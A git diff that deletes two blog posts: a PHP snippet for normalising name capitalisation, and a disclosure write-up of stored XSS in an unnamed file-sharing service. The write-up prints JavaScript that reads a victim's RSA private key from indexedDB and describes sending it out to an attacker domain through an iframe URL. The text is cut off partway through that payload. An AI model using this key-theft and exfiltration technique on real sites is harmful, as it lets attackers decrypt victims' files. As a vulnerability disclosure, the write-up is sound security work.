/dev/null differ diff --git a/content/blog/2019-07-17_snippet-correctly-capitalize-names-in-php/banner.png b/content/blog/2019-07-17_snippet-correctly-capitalize-names-in-php/banner.png deleted file mode 100644 index 0ca34a2..0000000 Binary files a/content/blog/2019-07-17_snippet-correctly-capitalize-names-in-php/banner.png and /dev/null differ diff --git a/content/blog/2019-07-17_snippet-correctly-capitalize-names-in-php/beagle-boys.png b/content/blog/2019-07-17_snippet-correctly-capitalize-names-in-php/beagle-boys.png deleted file mode 100644 index 227eb26..0000000 Binary files a/content/blog/2019-07-17_snippet-correctly-capitalize-names-in-php/beagle-boys.png and /dev/null differ diff --git a/content/blog/2019-07-17_snippet-correctly-capitalize-names-in-php/index.md b/content/blog/2019-07-17_snippet-correctly-capitalize-names-in-php/index.md deleted file mode 100644 index 0ba96b8..0000000 --- a/content/blog/2019-07-17_snippet-correctly-capitalize-names-in-php/index.md +++ /dev/null @@ -1,212 +0,0 @@ -+++ -title = "Snippet: Correctly capitalize names in PHP" -description = "How to correctly capitalize and normalize names in PHP with this simple snippet" - -[taxonomies] -categories = ["snippet", "blog"] -tags = ["php", "snippet"] - -[extra] -zenn_applause = true -comments = [ - {url = "https://www.reddit.com/r/laravel/comments/cefz8o/poc_snippet_to_correctly_capitalize_names_in_php/", name = "Reddit"}, - {url = "https://lobste.rs/s/klpksc/poc_snippet_correctly_capitalize_names", name = "Lobsters"}, -] -+++ - -When building websites with any kind of user registration, it's fascinating -what people enter in name fields. no casing, Random CASING, a dozen spaces -   between     words, or -nospacingatall. Seeing this always irritates me, I'd fancy things to nice and -be consistent. - -{{ fit_image(path="blog/2019-07-17_snippet-correctly-capitalize-names-in-php/banner.png", url="/blog/snippet-correctly-capitalize-names-in-php/banner.png") }} - -It appears that correctly normalizing name capitalization is an _unsolvable_ -puzzle. There is **no** consistency in name casing, or for any kind of name -formatting for that matter. -See [_Falsehoods programmers believe about names_][name-falsehoods]. - -> _I always wonder how big social networks handle this._ - -Okay, so this isn't solvable. But at least I could try to make it _better_. -I came across [this][original] wonderful PHP snippet for name capitalization a while -back, but it had a few shortages. It didn't correctly case with just a person's -last name for instance (needed when storing first/last names separate). I love -challenges like this and decided to improve, here is my take on it: - - - -```php - -Tap here to expand a better version for use with Laravel. - -> This variant is more concise and uses a function approach using -> [Laravel collections][laravel-collections]: -> -> ```php -> -> /** -> * Normalize the given (partial) name of a person. -> * -> * - re-capitalize, take last name inserts into account -> * - remove excess white spaces -> * -> * Snippet from: https://timvisee.com/blog/snippet-correctly-capitalize-names-in-php -> * -> * @param string $name The input name. -> * @return string The normalized name. -> */ -> function name_case($name) { -> // A list of properly cased parts -> $CASED = collect([ -> "O'", "l'", "d'", 'St.', 'Mc', 'the', 'van', 'het', 'in', "'t", 'ten', -> 'den', 'von', 'und', 'der', 'de', 'da', 'of', 'and', 'the', 'III', 'IV', -> 'VI', 'VII', 'VIII', 'IX', -> ]); -> -> // Trim whitespace sequences to one space, append space to properly chunk -> $name = preg_replace('/\s+/', ' ', $name) . ' '; -> -> // Break name up into parts split by name separators -> $parts = preg_split('/( |-|O\'|l\'|d\'|St\\.|Mc)/i', $name, -1, PREG_SPLIT_DELIM_CAPTURE); -> -> // Chunk parts, use $CASED or uppercase first, remove unfinished chunks -> $name = collect($parts) -> ->chunk(2) -> ->filter(function($part) { -> return $part->count() == 2; -> }) -> ->mapSpread(function($name, $separator = null) use($CASED) { -> // Use specified case for separator if set -> $cased = $CASED->first(function($i) use($separator) { -> return strcasecmp($i, $separator) == 0; -> }); -> $separator = $cased ?? $separator; -> -> // Choose specified part case, or uppercase first as default -> $cased = $CASED->first(function($i) use($name) { -> return strcasecmp($i, $name) == 0; -> }); -> return [$cased ?? ucfirst(strtolower($name)), $separator]; -> }) -> ->map(function($part) { -> return implode($part); -> }) -> ->join(''); -> -> // Trim and return normalized name -> return trim($name); -> } -> ``` - - - -
- -Of course, this function fulfills the truth table presented with the original -snippet: - -| Input | Becomes | -| :------- | :----- | -| michael o’carrol | Michael O’Carrol | -| lucas l’amour | Lucas l’Amour | -| george d’onofrio | George d’Onofrio | -| william stanley iii | William Stanley III | -| UNITED STATES OF AMERICA | United States of America | -| t. von lieres und wilkau | T. von Lieres und Wilkau | -| paul van der knaap | Paul van der Knaap | -| jean-luc picard | Jean-Luc Picard | -| JOHN MCLAREN | John McLaren | -| hENRIC vIII | Henric VIII | -| VAsco da GAma | Vasco da Gama | - -It neatly passes additional previously problematic situations as well. -Brilliant! - -| Input | Original snippet | This snippet | -| :------- | :--- | :----- | -| van der knaap | **Van** der Knaap | van der Knaap | -| l’amour | **L’A**mour | l’Amour | -| von lieres    UND wilkau | **V**on Lieres    und Wilkau | von Lieres und Wilkau | - -
- -Normalizing using a function like this makes it impossible for some to enter -their name as formatted on their ID. Knowing the audience you serve, this is a -risk you may be able to accept but it will never be perfect. You could always -use this to suggest formatting improvements to the user, allowing them to choose -what's right. - ---- - -Using numbers to identify people would be a more rational choice, except when you're called Pi. /s - -{{ fit_image(path="blog/2019-07-17_snippet-correctly-capitalize-names-in-php/beagle-boys.png") }} - -Feel free to use and share. - -_Special thanks to Armand Niculescu, for the [snippet][original] this was inspired by!_ - -[laravel-collections]: https://laravel.com/docs/collections -[name-falsehoods]: https://www.kalzumeus.com/2010/06/17/falsehoods-programmers-believe-about-names/ -[original]: https://www.media-division.com/correct-name-capitalization-in-php/ diff --git a/content/blog/2019-10-27_stealing-private-keys-from-secure-file-sharing-service/index.md b/content/blog/2019-10-27_stealing-private-keys-from-secure-file-sharing-service/index.md deleted file mode 100644 index 900ce7e..0000000 --- a/content/blog/2019-10-27_stealing-private-keys-from-secure-file-sharing-service/index.md +++ /dev/null @@ -1,248 +0,0 @@ -+++ -title = "Stealing private keys from a secure file sharing service" -description = "How I went about stealing private keys from a secure file sharing service with normal file request" - -[taxonomies] -categories = ["blog"] -tags = ["hack", "web", "xss", "javascript"] - -[extra] -toc = true -zenn_applause = true -comments = [ - {url = "https://news.ycombinator.com/item?id=21371201", name = "Hacker News"}, - {url = "https://www.reddit.com/r/netsec/comments/dnwudw/stealing_private_keys_from_a_secure_file_sharing/", name = "Reddit"}, - {url = "https://lobste.rs/s/i9wflu/stealing_private_keys_from_secure_file", name = "Lobsters"}, -] -+++ - -_Note: in agreement with the company, I decided not to name them to prevent -damaging their brand image. The company fixed the issue within an hour after -notifying them, big kudos for that._ - -Some days ago an article was posted on a Dutch tech website, showing off a newly -released service to securely request files from someone through the web. - -As always, I'm super interested in the cryptographic implementation of such -services to ensure they're secure. Even if for example, the company servers -would be compromised. Sadly, their website didn't go deep into the technical -details. It only noted some simple facts that local cryptography is used with a -private key using RSA and AES to provide end-to-end encryption. The application -is not open-source which would allow easy auditing, and no white paper is -available. - -Their website claims the system is secure, but everyone makes mistakes. So I -decided to put it to the test. Let's see what I could break. - -Spoiler alert: it didn't turn out so well... - - - -_This article goes into the technical details on how this was possible, you may -want to skip to the PoC [video](#video) instead._ - -## XSS -After making an account, I started testing with some basic well-known techniques. -Soon I discovered that persistent/stored [cross-site scripting][xss] was possible -through the account and company name fields. - -The service allows you to create a file request. You'll then be provided a link -to send to someone, or you can send this by e-mail through their website. -The recipient user is presented with a page on which they can securely upload -files. The request includes your public key, which is used to securely encrypt -your files on their client before anything is transferred to servers. So far, -all well and good! - -Here's the thing. It appeared that on this file request page, the name (and -company name) of the user that initiated the request is presented, but not -properly sanitized. - -By putting the following snippet in your account name field, a JavaScript -message will appear as soon as someone opens any of your request links. - -```html - -``` - -{{ fit_image(path="blog/2019-10-27_stealing-private-keys-from-secure-file-sharing-service/xss-alert.png") }} - -This means we can execute our own code on a targets machine. That's some nasty -stuff! The question is, what significant things can we do with this issue? - -## Local private keys -The service uses client-side asymmetric encryption to secure your files. Because -we're on a website, this must be done through JavaScript. This means that this -[private key][private-key] is accessible through JavaScript. The service stores -your generated private key in local [indexedDB][indexeddb] storage and is never -sent over the network. - -To give some context on private keys: these are essentially what keep encrypted -files secure. Once you have the private key, you can decrypt files that use -that key-pair. You **must** protect this key, and **cannot** share it with someone -else. - -You probably guessed it already, we can abuse this by accessing it ourselves by -modifying our snippet we put in the name field. - -I wrote some code to retrieve all local data that includes our key. -I came this far in about half an hour. It's all quite simple: - -```javascript -var dbReq = indexedDB.open("companyname"); -dbReq.onsuccess = () => { - var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key"); - store.onsuccess = () => alert(store.result.pem); -}; -``` - -Embedding this in our name will make the file request pages show the receiving -user's private key in a JavaScript alert. Whoops. - -{{ fit_image(path="blog/2019-10-27_stealing-private-keys-from-secure-file-sharing-service/xss-rsa.png") }} - -The amazing thing is that the request URL isn't modified to achieve this. It -does not look suspicious. The malicious snippet is stored in the database. - -## Collect private keys on attackers server -Showing a user their private key isn't interesting and looks suspicious for -sure. Let's send this key to a remote server for the attacker to collect, and -profit, oh yes! - -For this, I started an attempt on making [POST][http-methods] requests with the -private key data to a remote domain I own. Here I hit the first roadblock. The -name field only allows input up to 255 characters. Native JavaScript is quite -verbose with making a request, so some serious [golfing][codegolf] would be -required. - -Soon I found out [jQuery][jquery] was included in the application, which allows -making super simple and short [Ajax][ajax] requests. Brilliant! - -This didn't work out in the end though because of some set [CORS][cors] headers, -being a nice method for protecting against these kinds of things. - -_Edit: Someone -[mentioned](https://www.reddit.com/r/netsec/comments/dnwudw/stealing_private_keys_from_a_secure_file_sharing/f5jg0x5/) -that this didn't work due to a misconfiguration on my server instead. I did set -the `Access-Control-Allow-Origin` header to `*` but that didn't fix it. I -then blindly assumed this was due to a CORS header on the company end._ - -Fun fact, this doesn't work against non-[Ajax][ajax] requests. Opting for a -[GET][http-methods] request with the data suffixed to the URL was perfectly fine, so I -choose to use [`iframes`][iframe]. I suffixed the data to the end of the URL -like `//example.com/?k=DATA`, and silently added an `iframe` to the page with -this link. The browser immediately loads this `iframe`, sending us our precious -data. This is what we need: - -```javascript -$('body').append( - '